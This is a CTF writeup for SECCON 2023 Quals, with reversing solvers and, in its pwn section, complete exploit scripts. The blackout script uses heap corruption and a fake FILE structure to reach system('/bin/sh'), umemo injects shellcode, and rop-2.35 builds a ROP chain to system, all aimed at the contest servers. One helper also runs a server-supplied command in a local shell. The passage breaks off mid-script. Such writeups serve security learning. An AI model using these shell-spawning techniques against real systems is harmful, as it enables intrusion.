[toc]
# SECCON CTF 2023 Quals Writeup
## Misc
### readme 2023
/proc/self/syscallに記載されたアドレスからflag.txtがマップされたアドレスの差分が0xe9f83
/proc/self/syscallを読み、0xe9f83を足したアドレスのファイルを /proc/self/map_files/ から読むことでflagが出てくる。
```
b'0 0x7 0x55fd3b6a06b0 0x400 0x2 0x0 0x0 0x7fffacc82708 0x7f379397507d\n'
7f379397507d + 0xe9f83
->
/proc/self/map_files/7f3793a5f000-7f3793a60000
```
SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}
## Rev
### jumpout
0x4010と0x4030のデータを比べると、どちらも長さ28バイトの配列であり、さらにそれぞれの上位ビットのパターンが一致しているため、この二つと何かしらをXORすることでflagが得られると推測した。
アドレス0x1430の処理から0x55とXORしていることが推測できる。
```
.text:0000000000001430 sub_1430 proc near ; DATA XREF: sub_1360+3A↑o
.text:0000000000001430 endbr64
.text:0000000000001434 mov rcx, [rsp+rax*8+0]
.text:0000000000001438 add edx, 1
.text:000000000000143B xor r8d, 55h
.text:000000000000143F lea eax, [rdx-1]
.text:0000000000001442 jmp rcx
.text:0000000000001442 sub_1430 endp
.text:0000000000001442
```
ここで、二つのデータと0x55をXORして見たところ以下のデータが得られた。
```
b'SDA@KK}m}dzTxllcuNweqgo`p|h~a'
```
このデータの先頭7バイトと'SECCON{'という文字列をXORすると、`b'\x00\x01\x02\x03\x04\x05\x06'`というバイト列が得られた。
このことから、二つのデータと0x55に加えて先頭から0, 1, 2, ...とXORすることでflagが得られる。
```python=
d1 = bytearray([0xF6, 0xF5, 0x31, 0xC8, 0x81, 0x15, 0x14, 0x68, 0xF6, 0x35, 0xE5, 0x3E, 0x82, 0x09, 0xCA, 0xF1, 0x8A, 0xA9, 0xDF, 0xDF, 0x33, 0x2A, 0x6D, 0x81, 0xF5, 0xA6, 0x85, 0xDF, 0x17])
d2 = bytearray([0xF0, 0xE4, 0x25, 0xDD, 0x9F, 0x0B, 0x3C, 0x50, 0xDE, 0x04, 0xCA, 0x3F, 0xAF, 0x30, 0xF3, 0xC7, 0xAA, 0xB2, 0xFD, 0xEF, 0x17, 0x18, 0x57, 0xB4, 0xD0, 0x8F, 0xB8, 0xF4, 0x23])
flag = ''
for i in range(len(d1)):
flag += chr(d1[i] ^ d2[i] ^ i ^ 0x55)
print(flag)
```
```
SECCON{jump_table_everywhere}
```
### optinimize
Using included debug symbols recover two functions that are using `https://github.com/nim-lang/bigints/tree/master` library:
```python=
def pisot_number(x):
BIG0 = 0
BIG2 = 2
BIG3 = 3
while x > 2:
TMP = BIG3 + BIG0
BIG3 = BIG0
BIG0 = BIG2
BIG2 = TMP
x -= 1
return BIG2
def nthprime_slow(x):
STATE = 0
i = 0
while i < x:
STATE += 1
tmp = pisot_number(STATE)
res = tmp % STATE
if res == 0:
i += 1
return STATE
```
Identify that `nthprime_slow` is not exactly Nth Prime and gets shifted as input gets bigger.
Use Perrin pseudoprimes to calculate expected shift:
https://oeis.org/search?q=3%2C2%2C5%2C5%2C7%2C10%2C12%2C17%2C22%2C29%2C39%2C51%2C68%2C90%2C119%2C158%2C209&language=english&go=Search
```python=
from primesieve import *
perrin_primes = [271441, 904631, 16532714, 24658561, 27422714, 27664033, 46672291, 102690901, 130944133, 196075949, 214038533, 517697641, 545670533, 801123451, 855073301, 903136901, 970355431, 1091327579, 1133818561, 1235188597, 1389675541, 1502682721, 2059739221, 2304156469, 2976407809, 3273820903]
ENC = [
0x3C, 0xF4, 0x1A, 0xD0, 0x8A, 0x17, 0x7C, 0x4C, 0xDF, 0x21,
0xDF, 0xB0, 0x12, 0xB8, 0x4E, 0xFA, 0xD9, 0x2D, 0x66, 0xFA,
0xD4, 0x95, 0xF0, 0x66, 0x6D, 0xCE, 0x69, 0x00, 0x7D, 0x95,
0xEA, 0xD9, 0x0A, 0xEB, 0x27, 0x63, 0x75, 0x11, 0x37, 0xD4
]
KEY = [
0x4A, 0x55, 0x6F, 0x79, 0x80, 0x95, 0x0AE, 0x0BF,
0x0C7, 0x0D5, 0x306, 0x1AC8, 0x24BA, 0x3D00, 0x4301, 0x5626,
0x6AD9, 0x7103, 0x901B, 0x9E03, 0x1E5FB6, 0x26F764, 0x30BD9E, 0x407678,
0x5B173B, 0x6FE3B1, 0x78EF25, 0x858E5F, 0x98C639, 0x0AD6AF6, 0x1080096, 0x18E08CD,
0x1BB6107, 0x1F50FF1, 0x25C6327, 0x2A971B6, 0x2D68493, 0x362F0C0, 0x3788EAD, 0x3CAA8ED
]
def main():
flag = bytearray(len(ENC))
for i in range(len(ENC)):
val = nth_prime(KEY[i]-1)
print(sum([1 for x in perrin_primes if x < val]))
val = nth_prime(KEY[i]-1-sum([1 for x in perrin_primes if x < val]))
flag[i] = (val & 0xff) ^ ENC[i]
print(flag)
if __name__ == '__main__':
main()
```
Flag: `SECCON{3b4297373223a58ccf3dc06a6102846f}`
### Sickle
Inside picked buffer, we can change `\x07builtin` `\x03int` to our local type and intercept which values are passed to it.
Using this info, we can recover logic behind flag decryption.
It will include XOR + POW + __EQ__ operations on 8byte parts of the flag.
For POW we would also need to find modular inverse.
```
def pow(a1, a2, a4):
print('pow', a1, a2, a4, builtins.pow(a1, a2, a4))
return builtins.pow(a1, a2, a4)
payload = payload.replace(b'\x08builtins\x8c\x03pow', b'\x07problem\x8c\x03pow')
```
```
import builtins
import pickle, io
import gmpy2
N = 18446744073709551557
D = int(gmpy2.invert(65537, N - 1))
flag = b''
flag += ((pow(8215359690687096682, D, N)) ^ 1244422970072434993).to_bytes(8, 'little')
flag += ((pow(1862662588367509514, D, N)) ^ 8215359690687096682).to_bytes(8, 'little')
flag += ((pow(8350772864914849965, D, N)) ^ 1862662588367509514).to_bytes(8, 'little')
flag += ((pow(11616510986494699232, D, N)) ^ 8350772864914849965).to_bytes(8, 'little')
flag += ((pow(3711648467207374797, D, N)) ^ 11616510986494699232).to_bytes(8, 'little')
flag += ((pow(9722127090168848805, D, N)) ^ 3711648467207374797).to_bytes(8, 'little')
flag += ((pow(16780197523811627561, D, N)) ^ 9722127090168848805).to_bytes(8, 'little')
flag += ((pow(18138828537077112905, D, N)) ^ 16780197523811627561).to_bytes(8, 'little')
print(flag)
```
Flag: `SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}`
### xuyao
暗号化のような処理が行われている。gdbscriptを用いて各関数の入出力をtraceした。traceおよびdisasmをもとに、バイナリと同じ動作をするpythonスクリプトを作成した。
```python=
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
rol32 = lambda val, r_bits: rol(val, r_bits, 32)
ror32 = lambda val, r_bits: ror(val, r_bits, 32)
SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]
enc = b''.join([
b'\xFE\x60\xA8\xC0\x3B\xFE\xBC\x66\xFC\x9A\x9B\x31\x9A\xD8\x03\xBB\xA9\xE1\x56\xFC\xFC\x11\x9F\x89\x5F\x4D\x9F\xE0\x9F\xAE\x2A\xCF',
b'\x5E\x73\xCB\xEC\x3F\xFF\xB9\xD1\x99\x44\x1B\x9A\x79\x79\xEC\xD1\xB4\xFD\xEA\x2B\xE2\xF1\x1A\x70\x76\x3C\x2E\x7F\x3F\x3B\x7B\x66',
b'\xA3\x4B\x1B\x5C\x0F\xBE\xDD\x98\x5A\x5B\xD0\x0A\x3D\x7E\x2C\x10\x56\x2A\x10\x87\x5D\xD9\xB9\x7F\x3E\x2E\x86\xB7\x17\x04\xDF\xB1',
b'\x27\xC4\x47\xE2\xD9\x7A\x9A\x48\x7C\xDB\xC6\x1D\x3C\x00\xA3\x21'])
KEY = [
0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6
]
def tnls(val):
res = 0
res |= SBOX[(val >> 0x00) & 0xff] << 0x00
res |= SBOX[(val >> 0x08) & 0xff] << 0x08
res |= SBOX[(val >> 0x10) & 0xff] << 0x10
res |= SBOX[(val >> 0x18) & 0xff] << 0x18
return res
def els(v1):
tmp = v1
tmp ^= rol32(v1, 3)
tmp ^= rol32(v1, 14)
tmp ^= rol32(v1, 15)
tmp ^= rol32(v1, 9)
return tmp
def es(v1):
tmp = tnls(v1)
return els(tmp)
def test():
d = [0x30313233, 0x34353637, 0x38396162, 0x63646566]
for i in range(32):
tmp = 0
for x in range(1, 4):
tmp ^= d[x]
tmp ^= KEY[i]
v1 = es(tmp)
d[0] ^= v1
d = d[1:] + d[:1]
print(list(map(hex, d)))
def main():
test()
if __name__ == '__main__':
main()
```
このスクリプトをもとにflagを復元するスクリプトを作成した。
```python=
from pwn import p32, u32
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
rol32 = lambda val, r_bits: rol(val, r_bits, 32)
ror32 = lambda val, r_bits: ror(val, r_bits, 32)
SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]
enc = b''.join([
b'\xFE\x60\xA8\xC0\x3B\xFE\xBC\x66\xFC\x9A\x9B\x31\x9A\xD8\x03\xBB\xA9\xE1\x56\xFC\xFC\x11\x9F\x89\x5F\x4D\x9F\xE0\x9F\xAE\x2A\xCF',
b'\x5E\x73\xCB\xEC\x3F\xFF\xB9\xD1\x99\x44\x1B\x9A\x79\x79\xEC\xD1\xB4\xFD\xEA\x2B\xE2\xF1\x1A\x70\x76\x3C\x2E\x7F\x3F\x3B\x7B\x66',
b'\xA3\x4B\x1B\x5C\x0F\xBE\xDD\x98\x5A\x5B\xD0\x0A\x3D\x7E\x2C\x10\x56\x2A\x10\x87\x5D\xD9\xB9\x7F\x3E\x2E\x86\xB7\x17\x04\xDF\xB1',
b'\x27\xC4\x47\xE2\xD9\x7A\x9A\x48\x7C\xDB\xC6\x1D\x3C\x00\xA3\x21'])
KEY = [
0xf6067814, 0xed73cb7e, 0x1583a8b2, 0x0dde8d93, 0x23e2374b, 0x40b83c72, 0x0b3f811a, 0xd6e7a993,
0x2622de7c, 0xc581dcae, 0xa906524c, 0xdb4f2cc1, 0x0ddb3477, 0x8c1a92a4, 0x3bd711c0, 0x1bb16503,
0x00acd720, 0x2735f2d0, 0x9a9300fe, 0xfb2556a7, 0xcbe1fe58, 0xc03db8c9, 0xf77cb701, 0x0a1f85ae,
0x14dd27dc, 0xe1a5e3a9, 0x41d1f9ee, 0xfe6afce7, 0xd80eac32, 0xf43efead, 0x6475d80f, 0x38a310d6
]
def tnls(val):
res = 0
res |= SBOX[(val >> 0x00) & 0xff] << 0x00
res |= SBOX[(val >> 0x08) & 0xff] << 0x08
res |= SBOX[(val >> 0x10) & 0xff] << 0x10
res |= SBOX[(val >> 0x18) & 0xff] << 0x18
return res
def els(v1):
tmp = v1
tmp ^= rol32(v1, 3)
tmp ^= rol32(v1, 14)
tmp ^= rol32(v1, 15)
tmp ^= rol32(v1, 9)
return tmp
def es(v1):
tmp = tnls(v1)
return els(tmp)
def test():
d = [0x30313233, 0x34353637, 0x38396162, 0x63646566]
for i in range(32):
tmp = 0
for x in range(1, 4):
tmp ^= d[x]
tmp ^= KEY[i]
v1 = es(tmp)
d[0] ^= v1
d = d[1:] + d[:1]
print(list(map(hex, d)))
def test_dec():
d = [0xfc46586d, 0x46363d11, 0xf84bee2a, 0xb51a3b07]
for i in range(31, -1, -1):
d = d[-1:] + d[:-1]
tmp = 0
for x in range(1, 4):
tmp ^= d[x]
tmp ^= KEY[i]
v1 = es(tmp)
d[0] ^= v1
print(list(map(hex, d)))
def decrypt_block(d):
assert(len(d) == 4)
d = list(d)
for i in range(31, -1, -1):
d = d[-1:] + d[:-1]
tmp = 0
for x in range(1, 4):
tmp ^= d[x]
tmp ^= KEY[i]
v1 = es(tmp)
d[0] ^= v1
return d
def solve():
enc_arr = [
u32(enc[i:i+4], endianness='big') for i in range(0, len(enc), 4)
]
flag = b''
for i in range(0, len(enc_arr), 4):
flag += b''.join([p32(b, endianness='big') for b in decrypt_block(enc_arr[i:i+4][::-1])])
print(flag)
def main():
solve()
if __name__ == '__main__':
main()
```
```
b'Congratulations! You have decrypted the flag: SECCON{x86_he2_zhuan1_you3_zi4_jie2_ma3_de_hun4he2}\n\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
```
### Perfect Blu
Extract ISO file -> open it as BlueRay folder in VideoLan
Press buttons in flag checker -> in ProcMon see how VideoLan reads different files in STREAM folder.
Identify that in order to obtain flag we need to get files to be read in order 00000.xxx -> 00001.xxx -> 00002.xxx
For automation use clicker-bruteforce script:
ProcMon output redirected to `procmon_output.PML`
```
import os
import time
import win32api, win32con
alpha = '1234567890QWERTYUIOPASDFGHJKL{ZXCVBNM_-}'
poses = [
[233, 462], [332, 462], [435, 466],
[514, 474], [616, 467], [699, 468],
[804, 471], [885, 468], [973, 472],
[1051, 472], [250, 545], [332, 548],
[413, 550], [523, 550], [617, 554],
[705, 555], [788, 557], [883, 557],
[978, 556], [1055, 558], [259, 646],
[323, 637], [435, 640], [502, 640],
[630, 646], [701, 648], [786, 649],
[876, 644], [960, 640], [1056, 642],
[252, 741], [338, 737], [420, 731],
[495, 731], [611, 734], [709, 727],
[790, 726], [875, 736], [973, 727],
[1050, 732]
]
#while True:
# ox, oy = win32api.GetCursorPos()
# print(ox, oy)
# input('next?')
def click(x, y):
win32api.SetCursorPos((x, y))
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, x, y, 0, 0)
win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, x, y, 0, 0)
flag = ''
expected = 1
while True:
for i in range(0, len(poses)):
click(86, 1018) # VideoLAN stop
time.sleep(0.2)
click(21, 1019) # VideoLAN play
time.sleep(1)
click(poses[i][0], poses[i][1])
time.sleep(1)
with open(r'.\procmon_output.PML', 'rb') as fp:
if fp.read().find(b'%05i.' % expected) != -1:
os.remove(r'.\BDMV\PLAYLIST\00000.mpls')
os.rename(r'.\BDMV\PLAYLIST\%05i.mpls' % expected,
r'.\BDMV\PLAYLIST\00000.mpls')
flag += alpha[i]
expected += 1
print(expected, alpha[i], flag)
break
```
Flag: `SECCON{JWBH-58EL-QWRL-CLSW-UFRI-XUY3-YHKK-KFBV}`
## Pwn
### blackout
`letter_blackout`関数内の`memmem`の戻り値が32bit幅になってしまうので、0x100000000バイト分のチャンクを確保した後に`letter_blackout`関数を実行すると意図しないアドレスへの書き込みが行われる
```ruby=
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib
class PwnTube
def recv_until_prompt
recv_until("> ")
end
end
class Exploit
attr_reader :tube, :host, :port
attr_reader :offset, :got, :libc_offset
def initialize(remote)
@remote = remote
if remote?
@host, @port = "blackout.seccon.games 9999".split
else
@host = "localhost"
@port = 11111
end
@port = @port&.to_i
@libc_offset = {
"main_arena" => 0x219c80,
"system" => 0x50d60,
"stderr" => 0x21a6a0,
"_IO_wfile_jumps" => 0x2160c0,
}
@offset = {
}
@got = {
}
end
def remote?
@remote
end
def write(index, size, data)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until("Index: ")
tube.sendline("#{index}")
tube.recv_until("Size: ")
tube.sendline("#{size}")
tube.recv_until("String: ")
tube.send(data)
end
def blackout(index, word)
tube.recv_until_prompt
tube.sendline("2")
tube.recv_until("Index: ")
tube.sendline("#{index}")
tube.recv_until("Word to redact: ")
tube.send(word)
end
def discard(index)
tube.recv_until_prompt
tube.sendline("3")
tube.recv_until("Index: ")
tube.sendline("#{index}")
end
def run
PwnTube.open(host, port){|t|
@tube = t
puts "[*] heap spray"
write(0, 0xfff7, "hoge\n")
0xfffe.times{|i|
print "0x%x\r" % i if i % 0x10 == 0
write(i < 6 ? (i + 1) : 6, 0xfff7, "system\n")
}
write(7, 0xeff7, "hoge\n")
write(7, 0x1ff7, "A" * 0xff8 + "AAB\n")
puts
puts "[*] overwrite chunk size"
blackout(7, "B\n")
puts "[*] free victim chunk"
discard(0)
puts "[*] leak libc base"
write(0, 0xfff7, "hoge\n")
blackout(1, "114514\n")
libc_base = tube.recv_capture(/\[Redacted\]\n(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60
puts "libc base = 0x%x" % libc_base
puts "[*] leak heap base"
write(2, 5, "hoge\n")
write(3, 5, "hoge\n")
discard(3)
discard(2)
blackout(1, "114514\n")
heap_base = tube.recv_capture(/\[Redacted\]\n(.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0].tap{|a|
b = (a ^ 0x2c0)
break ((b ^ (b >> 12)) >> 12 << 12) ^ 0x2c0
} - 0x102c0
puts "heap base = 0x%x" % heap_base
puts "[*] overwrite tcache list"
write(2, 0xffb7, "hoge\n") # 偽チャンクの後ろのチャンクのinuse bitを復活させる
0x28.times{
write(2, 0xfff7, "hoge\n")
}
blackout(7, "B\n")
discard(0)
payload = "" # heap_base + 0x2a0
payload << "".ljust(0xe0, "\x00").tap{|a| # fake FILE structure
a[0, 16] = " /bin/sh".ljust(16, "\x00")
a[0xc0, 8] = [-1].pack("Q") # mode
a[0x28, 8] = [1].pack("Q") # _IO_write_ptr
a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q") # vtable
a[0xa0, 8] = [heap_base + 0x2a0 + 0xe0].pack("Q") # _wide_data
}
payload << "".ljust(0xe8, "\x00").tap{|a| # fake _wide_data structure
a[0xe0, 8] = [heap_base + 0x2a0 + 0xe0 + 0xe8 - 0x68].pack("Q") # _wide_vtable
}
payload << [libc_base + libc_offset["system"]].pack("Q")
# payload << [0xdeadbeef].pack("Q")
write(2, 0xfef7, payload + "\n")
payload = ""
payload << "\x00" * 0xf0
payload << [0, 0x21].pack("Q*")
payload << [(libc_base + libc_offset["stderr"] + 0x68 - 8) ^ ((heap_base + 0x102a0) >> 12)].pack("Q*")
write(3, 0x4f7, payload + "\n")
puts "[*] overwrite stderr->_chain"
write(4, 5, "hoge\n")
write(4, 0x17, "\x00" * 8 + [heap_base + 0x2a0].pack("Q") + "\n")
puts "[*] launch shell"
tube.recv_until_prompt
tube.sendline("114514")
tube.interactive
}
end
end
Exploit.new(ARGV[0] == "r").run
```
flag: `SECCON{D0n't_f0Rg3T_fuNcT10n_d3cL4r4T10n}`
### umemo
`free_space`で操作できる領域の中に`memo`が含まれている
```ruby=
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib
class PwnTube
def recv_until_prompt
recv_until("> ")
end
end
class String
def tty_safe?
self !~ /[\x03\x04\x11\x13\x15\x1a\x1c\x7f]/ # こっちから送る文字列にこれらの文字が入っているとバグる
end
end
class Exploit
attr_reader :tube, :host, :port
attr_reader :offset, :got, :libc_offset
def initialize(remote)
@remote = remote
if remote?
@host, @port = "ukqmemo.seccon.games 6318".split
else
@host = "localhost"
@port = 11111
end
@port = @port&.to_i
@libc_offset = {
"environ" => 0x185160
}
@offset = {
}
@got = {
}
end
def remote?
@remote
end
def fixed_memo
tube.recv_until_prompt
tube.sendline("1")
end
def freespace
tube.recv_until_prompt
tube.sendline("2")
end
def fixed_memo_read(index)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until("Index: ")
tube.sendline("#{index}")
end
def fixed_memo_write(index, data)
tube.recv_until_prompt
tube.sendline("2")
tube.recv_until("Index: ")
tube.sendline("#{index}")
tube.recv_until("Input: ")
tube.send(data)
end
def free_memo_read(offset, size)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until("Offset: ")
tube.sendline("#{offset}")
tube.recv_until("Size: ")
tube.sendline("#{size}")
end
def free_memo_write(offset, size, data)
tube.recv_until_prompt
tube.sendline("2")
tube.recv_until("Offset: ")
tube.sendline("#{offset}")
tube.recv_until("Size: ")
tube.sendline("#{size}")
tube.recv_until("Input: ")
tube.send(data)
end
def back_to_menu
tube.recv_until_prompt
tube.sendline("3")
end
def solve_pow
cmd = tube.recv_until(/hashcash .+\n/m)
puts cmd
result = `#{cmd}`
puts result
tube.send(result)
end
def run
PwnTube.open(host, port){|t|
@tube = t
solve_pow if remote?
tube.recv_until("buildroot login: ")
tube.sendline("ctf")
puts "[*] leak mapped address"
freespace
free_memo_read(0x40000000 - 0x1000 - 8, 0x10)
mapped = tube.recv_capture(/Output: \x00{8}(.{8})/m)[0].unpack("Q")[0] - 0x100
libc_base = mapped + 0x3000
puts "mapped = 0x%x" % mapped
puts "libc base = 0x%x" % libc_base
puts "[*] leak stack address"
payload = ""
payload << "\x00" * 8
payload << [libc_base + libc_offset["environ"]].pack("Q")[0, 5]
raise unless payload.tty_safe?
free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04")
back_to_menu
fixed_memo
fixed_memo_read(0)
environ = tube.recv_capture(/Output: (.{6})/m)[0].ljust(8, "\0").unpack("Q")[0]
puts "environ = 0x%x" % environ
puts "[*] send shellcode"
back_to_menu
freespace
payload = ""
payload << "\x00" * 8
payload << [environ].pack("Q")[0, 5]
raise unless payload.tty_safe?
free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04")
back_to_menu
fixed_memo
payload = ""
payload << PwnLib.shellcode_x86_64
raise unless payload.tty_safe?
fixed_memo_write(0, payload + "\x04")
puts "[*] overwrite return address"
back_to_menu
freespace
payload = ""
payload << "\x00" * 8
payload << [environ - 0x128].pack("Q")[0, 5]
raise unless payload.tty_safe?
free_memo_write(0x40000000 - 0x1000 - 8, 0x10, payload + "\x04")
back_to_menu
fixed_memo
payload = ""
payload << [environ].pack("Q")[0, 5]
raise unless payload.tty_safe?
fixed_memo_write(0, payload + "\x04")
tube.interactive
}
end
end
Exploit.new(ARGV[0] == "r").run
```
flag: `SECCON{k3rn3l_bug5_5p1ll_0v3r_1n70_u53r_pr0gr4m5}`
### rop-2.35
```python=
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
binary = './chall'
elf = ELF(binary)
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
RHOST = "rop-2-35.seccon.games"
RPORT = 9999
LHOST = "127.0.0.1"
LPORT = 21700
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
set follow-fork-mode parent
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug([binary], gdbscript=gdbscript)
else:
conn = process([binary])
# conn = process([binary], env={'LD_PRELOAD': ''})
if opt == 'a': gdb.attach(conn)
# exploit
log.info('Pwning')
payload = b'x'*0x18
payload += p64(0x401060) # gets
payload += p64(0x401050) # system
conn.sendline(payload)
payload = b'sh\x00'*0x100
conn.sendline(payload)
conn.interactive()
```
### datastore1
```python=
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
binary = './chall'
elf = ELF(binary)
context(os='linux', arch=elf.arch)
# context(log_level='debug') # output verbose log
RHOST = "datastore1.seccon.games"
RPORT = 4585
LHOST = "127.0.0.1"
LPORT = 4585
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug([binary], gdbscript=gdbscript)
else:
# conn = process([binary])
conn = process([binary], env={'LD_PRELOAD': './libc.so.6'})
if opt == 'a': gdb.attach(conn)
# exploit
log.info('Pwning')
def rec_array(i):
conn.sendlineafter(b'0. Exit', b'1')
for idx in range(i):
conn.sendlineafter(b'index:', b'0') # index0
